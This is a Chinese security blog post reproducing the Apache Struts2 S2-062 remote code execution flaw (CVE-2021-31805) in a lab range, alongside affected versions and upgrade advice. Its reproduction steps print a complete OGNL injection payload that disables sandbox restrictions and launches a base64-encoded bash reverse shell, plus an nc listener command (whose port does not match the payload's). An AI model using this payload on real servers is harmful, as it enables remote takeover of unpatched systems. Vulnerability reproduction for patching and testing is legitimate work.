freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

乌特拉安全实验室丨S2-062 远程命令执行漏洞复现(cve-2021-31805)
2022-05-06 14:59:20

一、漏洞描述

Apache Struts2是一个基于MVC设计模式的流行的Web应用程序框架。

Apache Struts2发布安全公告(S2-062),修复了Apache Struts2中的一个远程代码执行漏洞(CVE-2021-31805)。

由于对CVE-2020-17530的修复不完整,在Apache Struts 2.0.0-2.5.29中,如果开发人员使用%{...}语法应用强制OGNL解析,标签的某些属性仍然可被二次解析。当对标签属性中未经验证的原始用户输入进行解析时可能会导致远程代码执行。

二、影响范围

Apache Struts 2.0.0-2.5.29

三、修复建议

目前此漏洞已经修复,建议受影响用户及时升级更新到Apache Struts 2.5.30或更高版本。

下载链接:https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.30

缓解措施:避免对不受信任或未经验证的用户输入使用强制OGNL解析。

四、漏洞复现

复现环境:Vulfocus 漏洞威胁分析平台在线靶场,这个靶场还是不错的。

1.根据漏洞提示访问首页

2.抓包首页

3.构造payload,变更请求方法为post

name=(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNTQ1NCAwPiYx}|{base64,-d}|{bash,-i}'}))

4.把反弹shell的命令*base64*编码处理并且对其url编码

5.*base64 加密*

6.URL加密

7.替换到bp里面

8.准备一台服务器进行监听

nc -vvlp 7777

9.bp点击发送反弹shell

到这里整个漏洞就复现完成了。

本文作者:, 转载请注明来自FreeBuf.COM

# 系统安全 # 漏洞分析 # 数据安全
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
评论 按热度排序

登录/注册后在FreeBuf发布内容哦

相关推荐
\
  • 0 文章数
  • 0 评论数
  • 0 关注者
文章目录
登录 / 注册后在FreeBuf发布内容哦
收入专辑